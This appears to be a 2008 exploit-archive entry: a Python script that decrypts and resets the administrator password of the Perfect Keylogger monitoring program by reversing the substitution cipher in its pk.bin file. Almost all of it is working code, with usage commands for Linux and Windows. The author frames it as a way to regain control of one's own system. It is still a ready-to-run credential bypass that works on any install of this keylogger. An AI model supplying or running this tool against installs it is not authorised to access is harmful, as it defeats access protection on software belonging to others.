BlazingTools Perfect Keylogger administrative password decrypting utility that can also set the password regardless of whether or not the prior password is known.
431ca38be121b943697f05b86cd0cc4c0d96171ba2c969b2e85c57d263dd54b9
#! /usr/bin/python
# ~ Perfect Keylogger Admin Password Decrypt0r & Sett0r ~
# ~~JUST FOR FUN PROJECT! ~
# First of all:
# I DONT take ANY responsibility for this code.
# You use it by YOUR OWN RISK!
# If you NOT accept it delete this file now!
# If you accept it have fun and backup your pk.bin file befor editing!
# [TARGET_INFO]
# Application : Perfect Keylogger Demo\Fullversion
# Version : Tested with version 1.6.8.2
# Vendor : BlazingTools - BlazingTools.com
# [SCRIPT_INFO]
# Autor : Iman Karim
# Date : 28. Jan. 2008
# E-Mail : iman.karim \x40 smail \x2E inf \x2E fh-bonn-rhein-sieg \x2E de
# Additional : Python OS Independent Code
# Greets : SenoRita, Invisible, Exorzist, Xplosive
# [HOWTO]
# 1. Close Perfect Keylogger (Terminate it or Exit it)
# Don't forget this step because PKL is rewriting the pk.bin OnExit.
# 2. Write down where the pk.bin file is located.
# Usually its on c:\program files\bpk\pk.bin
# Of corse you can copy the file at your favorite destination.
# But dont forget to copy it back to the location if you set a new password ;)
# 3. Run this script over the pk.bin
# See USAGE for more information about this step.
# 4. Enjoy to have back the control over your System :)
# [USAGE]
# ./pkl_tool.py (decrypt|encrypt) (/path/to/pk.bin) [new_password]
# Reallife examples:
#
# **On Linux:
# ./pkl_tool.py decrypt /home/jackd/pk.bin
# - This will try to extract and decrypt the AdminPassword from your pk.bin.
# ./pkl_tool.py encrypt /home/jackd/pk.bin "I AM ADMIN"
# - This will try to open the pk.bin file and change the password to "I AM ADMIN".
#
# **On Windows:
# c:\pythonpath\python.exe pkl_tool.py decrypt "c:\program files\bpk\pk.bin"
# - This will try to extract and decrypt the AdminPassword from your pk.bin.
# c:\pythonpath\python.exe pkl_tool.py encrypt "c:\program files\bpk\pk.bin" "I AM ADMIN"
# - This will try to open the pk.bin file and change the password to "I AM ADMIN".
import sys, os
def createTable():
table = []
table.append(0xA)
table.append(0xB)
table.append(0x8)
table.append(0x9)
table.append(0xE)
table.append(0xF)
table.append(0xC)
table.append(0xD)
table.append(0x2)
table.append(0x3)
table.append(0x0)
table.append(0x1)
table.append(0x6)
table.append(0x7)
table.append(0x4)
table.append(0x5)
for i in range(0, len(table)):
table.append(table[i] + 0x10)
ret = {}
num = 0
for i in range(32, 63 +1):
ret[chr(i)] = table[num] + 0x80
num += 1
num = 0
for i in range(64, 95 +1):
ret[chr(i)] = table[num] + 0xE0
num += 1
num = 0
for i in range(96, 127 +1):
ret[chr(i)] = table[num] + 0xC0
num += 1
return(ret)
table = createTable()
def Decrypt(Ascii):
for char, value in table.items():
if Ascii == value:
return(char)
print "Undecryptable Byte: %i" %(Ascii)
return("?")
def Encrypt(Char):
for char, value in table.items():
if Char == char:
return(chr(value))
print "Uhmm! You have a strange Char in your Password! Aborting!"
sys.exit(0)
def getFileObj(path):
try:
pkbin = open(path, "r+")
except:
print "Failed to open '%s'! Aborting." %path
sys.exit(0)
size = os.path.getsize(path)
if size != 4204:
print "Your pkl.bin have an invalid filesize! The File should have 4204 bytes but have %i! Aborting." %size
sys.exit(0)
print "File seems to be OK."
return(pkbin)
if len(sys.argv) >= 3:
cmd = sys.argv[1]
if cmd == "decrypt":
path = sys.argv[2]
print "Trying to open '%s' to extract and decrypt AdminPassword..." %path
pkbin = getFileObj(path)
pkbin.seek(1812)
byte = ""
pw = ""
while byte != 0xAA:
byte = ord(pkbin.read(1))
if byte != 0xAA:
pw += Decrypt(byte)
pkbin.close()
if pw != "":
print "Admin PW is: '%s'." %(pw)
else:
print "Password not found. However, it could mean that there is no Adminpassword set."
elif cmd == "encrypt":
path = sys.argv[2]
newpw = ""
if len(sys.argv) == 4:
newpw = sys.argv[3]
if len(newpw) >= 84:
print "Your password is too long! C'Mon choose a shorter password."
sys.exit(0)
else:
print "Invalid count of params."
print "If you want to set a new password you should provide one, shouldnt you? :)"
sys.exit(0)
print "Trying to open '%s' to write the AdminPassword '%s'..." %(path, newpw)
pkbin = getFileObj(path)
pkbin.seek(1812)
pw = ""
for char in newpw:
pw += Encrypt(char)
pw += chr(0xAA) * (84-len(pw))
pkbin.write(pw)
pkbin.close()
print "Operation Done. The new password should be set!"
else:
print "Invalid count of params!"
print "Open this script with a Texteditor for more Details."